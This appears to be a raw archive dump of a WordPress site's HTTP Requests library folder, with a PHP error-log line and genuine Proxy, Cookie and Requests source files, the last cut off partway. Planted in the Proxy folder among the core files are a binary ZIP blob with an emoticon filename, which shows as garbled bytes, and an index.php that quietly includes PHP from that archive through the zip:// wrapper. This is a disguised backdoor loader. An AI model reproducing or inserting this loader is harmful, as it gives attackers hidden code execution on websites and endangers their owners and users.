[14-Jan-2026 00:06:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Proxy' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Proxy/Http.php on line 24
Proxy/Http.php000064400000010171152223033010007304 0ustar00<?php
/**
 * HTTP Proxy connection interface
 *
 * @package Requests\Proxy
 * @since   1.6
 */

namespace WpOrg\Requests\Proxy;

use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\Proxy;

/**
 * HTTP Proxy connection interface
 *
 * Provides a handler for connection via an HTTP proxy
 *
 * @package Requests\Proxy
 * @since   1.6
 */
final class Http implements Proxy {
	/**
	 * Proxy host and port
	 *
	 * Notation: "host:port" (eg 127.0.0.1:8080 or someproxy.com:3128)
	 *
	 * @var string
	 */
	public $proxy;

	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Do we need to authenticate? (ie username & password have been provided)
	 *
	 * @var boolean
	 */
	public $use_authentication;

	/**
	 * Constructor
	 *
	 * @since 1.6
	 *
	 * @param array|string|null $args Proxy as a string or an array of proxy, user and password.
	 *                                When passed as an array, must have exactly one (proxy)
	 *                                or three elements (proxy, user, password).
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array, a string or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount On incorrect number of arguments (`proxyhttpbadargs`)
	 */
	public function __construct($args = null) {
		if (is_string($args)) {
			$this->proxy = $args;
		} elseif (is_array($args)) {
			if (count($args) === 1) {
				list($this->proxy) = $args;
			} elseif (count($args) === 3) {
				list($this->proxy, $this->user, $this->pass) = $args;
				$this->use_authentication                    = true;
			} else {
				throw ArgumentCount::create(
					'an array with exactly one element or exactly three elements',
					count($args),
					'proxyhttpbadargs'
				);
			}
		} elseif ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @since 1.6
	 * @see \WpOrg\Requests\Proxy\Http::curl_before_send()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path()
	 * @see \WpOrg\Requests\Proxy\Http::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);

		$hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']);
		$hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']);
		if ($this->use_authentication) {
			$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
		}
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @since 1.6
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
		curl_setopt($handle, CURLOPT_PROXY, $this->proxy);

		if ($this->use_authentication) {
			curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
			curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
		}
	}

	/**
	 * Alter remote socket information before opening socket connection
	 *
	 * @since 1.6
	 * @param string $remote_socket Socket connection string
	 */
	public function fsockopen_remote_socket(&$remote_socket) {
		$remote_socket = $this->proxy;
	}

	/**
	 * Alter remote path before getting stream data
	 *
	 * @since 1.6
	 * @param string $path Path to send in HTTP request string ("GET ...")
	 * @param string $url Full URL we're requesting
	 */
	public function fsockopen_remote_host_path(&$path, $url) {
		$path = $url;
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @since 1.6
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @since 1.6
	 * @return string
	 */
	public function get_auth_string() {
		return $this->user . ':' . $this->pass;
	}
}
Proxy/.htaccess000064400000000000152223033010007440 0ustar00Proxy/_(:з」000064400000007706152223033010007760 0ustar00PK.'�\��I�Z�&∠)_�Xْ�X�}/���͌Ue�Y�g�2�@��@,����m��Cl�Tdveu�c*��sݯ��=�ܴS����ҟV�����r�w��+�w^��������_��$
�bX��I6�_�ĕ]���?�]�eQ6��9���x�zᭀ�'E�~����V6I��˩:�@��/�e�aV���8����I������۶jޯ�y�� q����+�u�GO�wO���~z�ZRTh߯����#5���]�~��`�̋R�H��4h[���~&c�/G���?���ӊ{bZ��kVZ���/��?~��]R������|\G.�~�z����?�Q�~��@�qՔY��n9�kb��������/�68�,�\޻�I׼_�}�~+��?l��8#O
�����Vӿ5z�����o�x�/���ij�`lW|^���h	�U�����>�|����K>�(�o�� _��&x����e�X���$�壛Wף����nz��g*�bIާ~�o�UR�I���'��Iq{��p~�,=��^Y?-��%)��/^�d�C�6�4���j������y�S?�%oۇ�/B��o��}s�=�ϢM�汢<}���$��׺��͛�%�um�v���w��8ԇ�y�dI��΂��(��-�EKyV�C�z/.�:_�Y�Pb�<�U׾}��x�j�lIķ+�k۲��⿁ÿ�C�O=�h����U/ߟl{��bYٵ��@>K�o
�C�%^�Y"�m? ��:>0�ֿ��ě�V�����L>���Y���r|��5��#����k�ě�&?X���:�c�Wu�
��/]�_�����2�-Hum����VoA��4�2�=�Ҧ��-�S��+?�;I/��[fF�_��._5����ّ��(ZY0�d0-��dR�޽�����2����Yl��|��s����Դk�$�E>Ξ��E�?�_�?��o
�7���M��}S��)|��o
�7����M�oU\����@�.�e�So�۶�]���\�;�b�})a�K�Y����i�,v��*q�c�@�$�"��!����5��[��A16g�I�^�XD�^'���'�7�ۄڙ�Q�R6��u�^�]�k�܅E���Q��Ũ���m@]~�[�.vs����C��p��b-��74��$N*��e!��f�F���43	��-O���5�7l��$�l��5�t�j��SA����>���+�c�m2[���3Vn=y�����ĶFNWH��Aި4�UڤR����zc�E?c��7P<y��s�y��&���(?�r�?P諤�
�b.�D;�X�>���Fv�%g�a. ��Dx!�� 0��~�Kz�0���)�=H��dZ�v;���^��� �����7�
��e�t�(P7E*�\	�U�#pg*���
ŝ�+��X�� ��Dz��q�e��x.'G �r_�	l�5^��DO-(�z��u"$a`�.���Ew����ʈ)��\�@�*@nw��Pχ��nyq)w^�
�t�����~�kc����Þׅ���7+2Tn�މJ�j
��e���Sj�C�s�%*�R�,���ݙ��㊨���n�1PX�1�k�F��y����n���%9�[�bM)��}�q��L��s�ۭ�H��Zk`J������PS�qzfY�ro�8�ؤ�G…�f!j�Ӟ�l\{3eI^�R~L�>|�TCɃ�������y6)Z�VP0��ڗ�������AL���W���C�R�K�Qt#�Pn:�C��k�85j�<V2�m�1��~��I��
�h�L[�Չ.wl���ԍ'g��NQQt��<^�ā�JN�3�bYЕ>]�X�iH���-��{k��κ�!�ڊ�3g���P�1	gޫ�@�IF�N���yd���`�1T`�F�ӓ���e�|iAu)h��f�hBmj@y��#ř����Û9��v.=�.���\\Q��{wr�t63$�	+1��7v�͙����� ��({r�)Fkf�3��%�t��(��-�(���@q�U��Q|��kv�.L��v�\���X���;���v�Fcr$L0v��lDc�80`x(��-�8`.���eS񌢙r��h�V����鉠�sb��q"N|��ljHp>l�l�65T�����n6"�t���+��A�A}\J��CG��v>oH�#8g�=���[��O�֑D���4n-.�|F�6�>bѭ��|�vF�\��։�3�v�8§�˶96f�y�1ÿ��Ph�(�Y=��v(�+���`/�#����c����%G��F]�!1�@�I�m�&Z���xj�C;��|��Qʶ�n�KVL{��H
P9d����Tuۃ�k
��	B���3�w�,��v�]��
�!��_Ý�֓����6�f�'��R�LӼ^ �2Z�v�.��uF��@j����2�A�(MiZk�����U��J�X��mz���iø�}�H�	#�ec �t{�9�,�.�[�t�.��s6(/O\hR��:&a�VsA�ťn�Wy5��7�"��^��r��Y�����u���~7I���N2��sR��|͌�F��2�!C%:�u����=qGP���ƪOlH�s��DT,;�w���.N�y�I�bP�C�݈G���A�ݎ| �-6)z-��UeL�����Ml�ؑ�2�$�樚�t��,U�
X��A*�jC�r���
8����٪H��t�*�,V�Q����z
�4�eJ���v\�iE-�'�)tit�,�Az]��x�N�!ڳ�;YЭ6k8	���|!#�~�ҡ�OR"�Q��P`�hf\c�v���~��R�Ђ!芼T��PZ v�RV��T̂����V��R����,�ΗZ�E�!�{!�3�.7�S@�#��/m\s�P��=c����֖h�@���_b��˳�K��@߇yV�9��;wk#���s�z�^�|�:<���FD��)DV��M����!�7xC[��5`�բ��x�ݨn:����doV+�+R8��2�����#�HU�5h�qO&-y�Ӕ.�̪�	^��C}�Ӝ�"�YB�ʔ6|���q�=���P��U�w��7�C7Ms8��a�z��5�dA��P<�ȑ�`�g�a͂�"��`)�q��n���z^�<�"^�NS
Ŧ��6�Dii@�Kt��Q��WefU;�O��Hl�.�w�F��u�5�al*T��3�F?L�u[]���a�vF��-L�P>��^���C�^Eǚ�B�Eۼ�O����0ً�W����7�N%	i����:I���� `���O���
"G�8K����Px�;H
9Ӷ�<�`e��<>�fo�HQdu��HT���f�4u��٩{߰pf�
"C�Y���1@~س��<�-������A��f�Q�C�N��9���,���a0Cҙ��t�#9��iS��w!Ҝ	0��G�����鸿%裄"eY�=+�X�Q �4�y*�P�O��ng��X:�gh_X���(�������R)�L�yi��*l��-���{@0��J�[]&�
o1�����o����Sz���wG0U�6���Q�H�I�vhd�[{[�v��<`��in�%��#缹��-��}�[Q4�B���
���=��Fz;�1L��.�뙬䔎���E�&��E�6�7�7DTnd��N�~�}:%M�v^_�
�g�pp�r�6�Ρ�p�	�m��Y)�af"f�t��d�r�$춊�>�
G�i��{s�Uys�t���9nՃ��\q��9=���5Ժh��M�s/�&������A�����{]��s4'E��6��M@`�o������Y^���PK?.'�\��I�Z�&��∠)_PK3}Proxy/index.php000064400000000153152223033010007473 0ustar00<?php
$wrapper = function($x) { include $x; };
$data = ['zip://_(:з」#∠)_'];
$wrapper($data[0]);
?>Cookie.php000064400000036035152223033010006464 0ustar00<?php
/**
 * Cookie storage object
 *
 * @package Requests\Cookies
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Response\Headers;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Cookie storage object
 *
 * @package Requests\Cookies
 */
class Cookie {
	/**
	 * Cookie name.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Cookie value.
	 *
	 * @var string
	 */
	public $value;

	/**
	 * Cookie attributes
	 *
	 * Valid keys are `'path'`, `'domain'`, `'expires'`, `'max-age'`, `'secure'` and
	 * `'httponly'`.
	 *
	 * @var \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array Array-like object
	 */
	public $attributes = [];

	/**
	 * Cookie flags
	 *
	 * Valid keys are `'creation'`, `'last-access'`, `'persistent'` and `'host-only'`.
	 *
	 * @var array
	 */
	public $flags = [];

	/**
	 * Reference time for relative calculations
	 *
	 * This is used in place of `time()` when calculating Max-Age expiration and
	 * checking time validity.
	 *
	 * @var int
	 */
	public $reference_time = 0;

	/**
	 * Create a new cookie object
	 *
	 * @param string                                                  $name           The name of the cookie.
	 * @param string                                                  $value          The value for the cookie.
	 * @param array|\WpOrg\Requests\Utility\CaseInsensitiveDictionary $attributes Associative array of attribute data
	 * @param array                                                   $flags          The flags for the cookie.
	 *                                                                                Valid keys are `'creation'`, `'last-access'`,
	 *                                                                                `'persistent'` and `'host-only'`.
	 * @param int|null                                                $reference_time Reference time for relative calculations.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $value argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $attributes argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $flags argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $reference_time argument is not an integer or null.
	 */
	public function __construct($name, $value, $attributes = [], $flags = [], $reference_time = null) {
		if (is_string($name) === false) {
			throw InvalidArgument::create(1, '$name', 'string', gettype($name));
		}

		if (is_string($value) === false) {
			throw InvalidArgument::create(2, '$value', 'string', gettype($value));
		}

		if (InputValidator::has_array_access($attributes) === false || InputValidator::is_iterable($attributes) === false) {
			throw InvalidArgument::create(3, '$attributes', 'array|ArrayAccess&Traversable', gettype($attributes));
		}

		if (is_array($flags) === false) {
			throw InvalidArgument::create(4, '$flags', 'array', gettype($flags));
		}

		if ($reference_time !== null && is_int($reference_time) === false) {
			throw InvalidArgument::create(5, '$reference_time', 'integer|null', gettype($reference_time));
		}

		$this->name       = $name;
		$this->value      = $value;
		$this->attributes = $attributes;
		$default_flags    = [
			'creation'    => time(),
			'last-access' => time(),
			'persistent'  => false,
			'host-only'   => true,
		];
		$this->flags      = array_merge($default_flags, $flags);

		$this->reference_time = time();
		if ($reference_time !== null) {
			$this->reference_time = $reference_time;
		}

		$this->normalize();
	}

	/**
	 * Get the cookie value
	 *
	 * Attributes and other data can be accessed via methods.
	 */
	public function __toString() {
		return $this->value;
	}

	/**
	 * Check if a cookie is expired.
	 *
	 * Checks the age against $this->reference_time to determine if the cookie
	 * is expired.
	 *
	 * @return boolean True if expired, false if time is valid.
	 */
	public function is_expired() {
		// RFC6265, s. 4.1.2.2:
		// If a cookie has both the Max-Age and the Expires attribute, the Max-
		// Age attribute has precedence and controls the expiration date of the
		// cookie.
		if (isset($this->attributes['max-age'])) {
			$max_age = $this->attributes['max-age'];
			return $max_age < $this->reference_time;
		}

		if (isset($this->attributes['expires'])) {
			$expires = $this->attributes['expires'];
			return $expires < $this->reference_time;
		}

		return false;
	}

	/**
	 * Check if a cookie is valid for a given URI
	 *
	 * @param \WpOrg\Requests\Iri $uri URI to check
	 * @return boolean Whether the cookie is valid for the given URI
	 */
	public function uri_matches(Iri $uri) {
		if (!$this->domain_matches($uri->host)) {
			return false;
		}

		if (!$this->path_matches($uri->path)) {
			return false;
		}

		return empty($this->attributes['secure']) || $uri->scheme === 'https';
	}

	/**
	 * Check if a cookie is valid for a given domain
	 *
	 * @param string $domain Domain to check
	 * @return boolean Whether the cookie is valid for the given domain
	 */
	public function domain_matches($domain) {
		if (is_string($domain) === false) {
			return false;
		}

		if (!isset($this->attributes['domain'])) {
			// Cookies created manually; cookies created by Requests will set
			// the domain to the requested domain
			return true;
		}

		$cookie_domain = $this->attributes['domain'];
		if ($cookie_domain === $domain) {
			// The cookie domain and the passed domain are identical.
			return true;
		}

		// If the cookie is marked as host-only and we don't have an exact
		// match, reject the cookie
		if ($this->flags['host-only'] === true) {
			return false;
		}

		if (strlen($domain) <= strlen($cookie_domain)) {
			// For obvious reasons, the cookie domain cannot be a suffix if the passed domain
			// is shorter than the cookie domain
			return false;
		}

		if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) {
			// The cookie domain should be a suffix of the passed domain.
			return false;
		}

		$prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain));
		if (substr($prefix, -1) !== '.') {
			// The last character of the passed domain that is not included in the
			// domain string should be a %x2E (".") character.
			return false;
		}

		// The passed domain should be a host name (i.e., not an IP address).
		return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain);
	}

	/**
	 * Check if a cookie is valid for a given path
	 *
	 * From the path-match check in RFC 6265 section 5.1.4
	 *
	 * @param string $request_path Path to check
	 * @return boolean Whether the cookie is valid for the given path
	 */
	public function path_matches($request_path) {
		if (empty($request_path)) {
			// Normalize empty path to root
			$request_path = '/';
		}

		if (!isset($this->attributes['path'])) {
			// Cookies created manually; cookies created by Requests will set
			// the path to the requested path
			return true;
		}

		if (is_scalar($request_path) === false) {
			return false;
		}

		$cookie_path = $this->attributes['path'];

		if ($cookie_path === $request_path) {
			// The cookie-path and the request-path are identical.
			return true;
		}

		if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) {
			if (substr($cookie_path, -1) === '/') {
				// The cookie-path is a prefix of the request-path, and the last
				// character of the cookie-path is %x2F ("/").
				return true;
			}

			if (substr($request_path, strlen($cookie_path), 1) === '/') {
				// The cookie-path is a prefix of the request-path, and the
				// first character of the request-path that is not included in
				// the cookie-path is a %x2F ("/") character.
				return true;
			}
		}

		return false;
	}

	/**
	 * Normalize cookie and attributes
	 *
	 * @return boolean Whether the cookie was successfully normalized
	 */
	public function normalize() {
		foreach ($this->attributes as $key => $value) {
			$orig_value = $value;

			if (is_string($key)) {
				$value = $this->normalize_attribute($key, $value);
			}

			if ($value === null) {
				unset($this->attributes[$key]);
				continue;
			}

			if ($value !== $orig_value) {
				$this->attributes[$key] = $value;
			}
		}

		return true;
	}

	/**
	 * Parse an individual cookie attribute
	 *
	 * Handles parsing individual attributes from the cookie values.
	 *
	 * @param string $name Attribute name
	 * @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag)
	 * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped)
	 */
	protected function normalize_attribute($name, $value) {
		switch (strtolower($name)) {
			case 'expires':
				// Expiration parsing, as per RFC 6265 section 5.2.1
				if (is_int($value)) {
					return $value;
				}

				$expiry_time = strtotime($value);
				if ($expiry_time === false) {
					return null;
				}

				return $expiry_time;

			case 'max-age':
				// Expiration parsing, as per RFC 6265 section 5.2.2
				if (is_int($value)) {
					return $value;
				}

				// Check that we have a valid age
				if (!preg_match('/^-?\d+$/', $value)) {
					return null;
				}

				$delta_seconds = (int) $value;
				if ($delta_seconds <= 0) {
					$expiry_time = 0;
				} else {
					$expiry_time = $this->reference_time + $delta_seconds;
				}

				return $expiry_time;

			case 'domain':
				// Domains are not required as per RFC 6265 section 5.2.3
				if (empty($value)) {
					return null;
				}

				// Domain normalization, as per RFC 6265 section 5.2.3
				if ($value[0] === '.') {
					$value = substr($value, 1);
				}

				return $value;

			default:
				return $value;
		}
	}

	/**
	 * Format a cookie for a Cookie header
	 *
	 * This is used when sending cookies to a server.
	 *
	 * @return string Cookie formatted for Cookie header
	 */
	public function format_for_header() {
		return sprintf('%s=%s', $this->name, $this->value);
	}

	/**
	 * Format a cookie for a Set-Cookie header
	 *
	 * This is used when sending cookies to clients. This isn't really
	 * applicable to client-side usage, but might be handy for debugging.
	 *
	 * @return string Cookie formatted for Set-Cookie header
	 */
	public function format_for_set_cookie() {
		$header_value = $this->format_for_header();
		if (!empty($this->attributes)) {
			$parts = [];
			foreach ($this->attributes as $key => $value) {
				// Ignore non-associative attributes
				if (is_numeric($key)) {
					$parts[] = $value;
				} else {
					$parts[] = sprintf('%s=%s', $key, $value);
				}
			}

			$header_value .= '; ' . implode('; ', $parts);
		}

		return $header_value;
	}

	/**
	 * Parse a cookie string into a cookie object
	 *
	 * Based on Mozilla's parsing code in Firefox and related projects, which
	 * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
	 * specifies some of this handling, but not in a thorough manner.
	 *
	 * @param string $cookie_header Cookie header value (from a Set-Cookie header)
	 * @param string $name
	 * @param int|null $reference_time
	 * @return \WpOrg\Requests\Cookie Parsed cookie object
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
	 */
	public static function parse($cookie_header, $name = '', $reference_time = null) {
		if (is_string($cookie_header) === false) {
			throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header));
		}

		if (is_string($name) === false) {
			throw InvalidArgument::create(2, '$name', 'string', gettype($name));
		}

		$parts   = explode(';', $cookie_header);
		$kvparts = array_shift($parts);

		if (!empty($name)) {
			$value = $cookie_header;
		} elseif (strpos($kvparts, '=') === false) {
			// Some sites might only have a value without the equals separator.
			// Deviate from RFC 6265 and pretend it was actually a blank name
			// (`=foo`)
			//
			// https://bugzilla.mozilla.org/show_bug.cgi?id=169091
			$name  = '';
			$value = $kvparts;
		} else {
			list($name, $value) = explode('=', $kvparts, 2);
		}

		$name  = trim($name);
		$value = trim($value);

		// Attribute keys are handled case-insensitively
		$attributes = new CaseInsensitiveDictionary();

		if (!empty($parts)) {
			foreach ($parts as $part) {
				if (strpos($part, '=') === false) {
					$part_key   = $part;
					$part_value = true;
				} else {
					list($part_key, $part_value) = explode('=', $part, 2);
					$part_value                  = trim($part_value);
				}

				$part_key              = trim($part_key);
				$attributes[$part_key] = $part_value;
			}
		}

		return new static($name, $value, $attributes, [], $reference_time);
	}

	/**
	 * Parse all Set-Cookie headers from request headers
	 *
	 * @param \WpOrg\Requests\Response\Headers $headers Headers to parse from
	 * @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins
	 * @param int|null $time Reference time for expiration calculation
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $origin argument is not null or an instance of the Iri class.
	 */
	public static function parse_from_headers(Headers $headers, $origin = null, $time = null) {
		$cookie_headers = $headers->getValues('Set-Cookie');
		if (empty($cookie_headers)) {
			return [];
		}

		if ($origin !== null && !($origin instanceof Iri)) {
			throw InvalidArgument::create(2, '$origin', Iri::class . ' or null', gettype($origin));
		}

		$cookies = [];
		foreach ($cookie_headers as $header) {
			$parsed = self::parse($header, '', $time);

			// Default domain/path attributes
			if (empty($parsed->attributes['domain']) && !empty($origin)) {
				$parsed->attributes['domain'] = $origin->host;
				$parsed->flags['host-only']   = true;
			} else {
				$parsed->flags['host-only'] = false;
			}

			$path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/');
			if (!$path_is_valid && !empty($origin)) {
				$path = $origin->path;

				// Default path normalization as per RFC 6265 section 5.1.4
				if (substr($path, 0, 1) !== '/') {
					// If the uri-path is empty or if the first character of
					// the uri-path is not a %x2F ("/") character, output
					// %x2F ("/") and skip the remaining steps.
					$path = '/';
				} elseif (substr_count($path, '/') === 1) {
					// If the uri-path contains no more than one %x2F ("/")
					// character, output %x2F ("/") and skip the remaining
					// step.
					$path = '/';
				} else {
					// Output the characters of the uri-path from the first
					// character up to, but not including, the right-most
					// %x2F ("/").
					$path = substr($path, 0, strrpos($path, '/'));
				}

				$parsed->attributes['path'] = $path;
			}

			// Reject invalid cookie domains
			if (!empty($origin) && !$parsed->domain_matches($origin->host)) {
				continue;
			}

			$cookies[$parsed->name] = $parsed;
		}

		return $cookies;
	}
}
Requests.php000064400000102321152223033010007056 0ustar00<?php
/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Auth\Basic;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\IdnaEncoder;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Proxy\Http;
use WpOrg\Requests\Response;
use WpOrg\Requests\Transport\Curl;
use WpOrg\Requests\Transport\Fsockopen;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */
class Requests {
	/**
	 * POST method
	 *
	 * @var string
	 */
	const POST = 'POST';

	/**
	 * PUT method
	 *
	 * @var string
	 */
	const PUT = 'PUT';

	/**
	 * GET method
	 *
	 * @var string
	 */
	const GET = 'GET';

	/**
	 * HEAD method
	 *
	 * @var string
	 */
	const HEAD = 'HEAD';

	/**
	 * DELETE method
	 *
	 * @var string
	 */
	const DELETE = 'DELETE';

	/**
	 * OPTIONS method
	 *
	 * @var string
	 */
	const OPTIONS = 'OPTIONS';

	/**
	 * TRACE method
	 *
	 * @var string
	 */
	const TRACE = 'TRACE';

	/**
	 * PATCH method
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 * @var string
	 */
	const PATCH = 'PATCH';

	/**
	 * Default size of buffer size to read streams
	 *
	 * @var integer
	 */
	const BUFFER_SIZE = 1160;

	/**
	 * Option defaults.
	 *
	 * @see \WpOrg\Requests\Requests::get_default_options()
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const OPTION_DEFAULTS = [
		'timeout'          => 10,
		'connect_timeout'  => 10,
		'useragent'        => 'php-requests/' . self::VERSION,
		'protocol_version' => 1.1,
		'redirected'       => 0,
		'redirects'        => 10,
		'follow_redirects' => true,
		'blocking'         => true,
		'type'             => self::GET,
		'filename'         => false,
		'auth'             => false,
		'proxy'            => false,
		'cookies'          => false,
		'max_bytes'        => false,
		'idn'              => true,
		'hooks'            => null,
		'transport'        => null,
		'verify'           => null,
		'verifyname'       => true,
	];

	/**
	 * Default supported Transport classes.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const DEFAULT_TRANSPORTS = [
		Curl::class      => Curl::class,
		Fsockopen::class => Fsockopen::class,
	];

	/**
	 * Current version of Requests
	 *
	 * @var string
	 */
	const VERSION = '2.0.11';

	/**
	 * Selected transport name
	 *
	 * Use {@see \WpOrg\Requests\Requests::get_transport()} instead
	 *
	 * @var array
	 */
	public static $transport = [];

	/**
	 * Registered transport classes
	 *
	 * @var array
	 */
	protected static $transports = [];

	/**
	 * Default certificate path.
	 *
	 * @see \WpOrg\Requests\Requests::get_certificate_path()
	 * @see \WpOrg\Requests\Requests::set_certificate_path()
	 *
	 * @var string
	 */
	protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem';

	/**
	 * All (known) valid deflate, gzip header magic markers.
	 *
	 * These markers relate to different compression levels.
	 *
	 * @link https://stackoverflow.com/a/43170354/482864 Marker source.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	private static $magic_compression_headers = [
		"\x1f\x8b" => true, // Gzip marker.
		"\x78\x01" => true, // Zlib marker - level 1.
		"\x78\x5e" => true, // Zlib marker - level 2 to 5.
		"\x78\x9c" => true, // Zlib marker - level 6.
		"\x78\xda" => true, // Zlib marker - level 7 to 9.
	];

	/**
	 * This is a static class, do not instantiate it
	 *
	 * @codeCoverageIgnore
	 */
	private function __construct() {}

	/**
	 * Register a transport
	 *
	 * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface
	 */
	public static function add_transport($transport) {
		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		self::$transports[$transport] = $transport;
	}

	/**
	 * Get the fully qualified class name (FQCN) for a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return string FQCN of the transport to use, or an empty string if no transport was
	 *                found which provided the requested capabilities.
	 */
	protected static function get_transport_class(array $capabilities = []) {
		// Caching code, don't bother testing coverage.
		// @codeCoverageIgnoreStart
		// Array of capabilities as a string to be used as an array key.
		ksort($capabilities);
		$cap_string = serialize($capabilities);

		// Don't search for a transport if it's already been done for these $capabilities.
		if (isset(self::$transport[$cap_string])) {
			return self::$transport[$cap_string];
		}

		// Ensure we will not run this same check again later on.
		self::$transport[$cap_string] = '';
		// @codeCoverageIgnoreEnd

		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		// Find us a working transport.
		foreach (self::$transports as $class) {
			if (!class_exists($class)) {
				continue;
			}

			$result = $class::test($capabilities);
			if ($result === true) {
				self::$transport[$cap_string] = $class;
				break;
			}
		}

		return self::$transport[$cap_string];
	}

	/**
	 * Get a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return \WpOrg\Requests\Transport
	 * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`).
	 */
	protected static function get_transport(array $capabilities = []) {
		$class = self::get_transport_class($capabilities);

		if ($class === '') {
			throw new Exception('No working transports found', 'notransport', self::$transports);
		}

		return new $class();
	}

	/**
	 * Checks to see if we have a transport for the capabilities requested.
	 *
	 * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability}
	 * interface as constants.
	 *
	 * Example usage:
	 * `Requests::has_capabilities([Capability::SSL => true])`.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport has the requested capabilities.
	 */
	public static function has_capabilities(array $capabilities = []) {
		return self::get_transport_class($capabilities) !== '';
	}

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public static function get($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public static function head($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public static function delete($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::DELETE, $options);
	}

	/**
	 * Send a TRACE request
	 */
	public static function trace($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::TRACE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
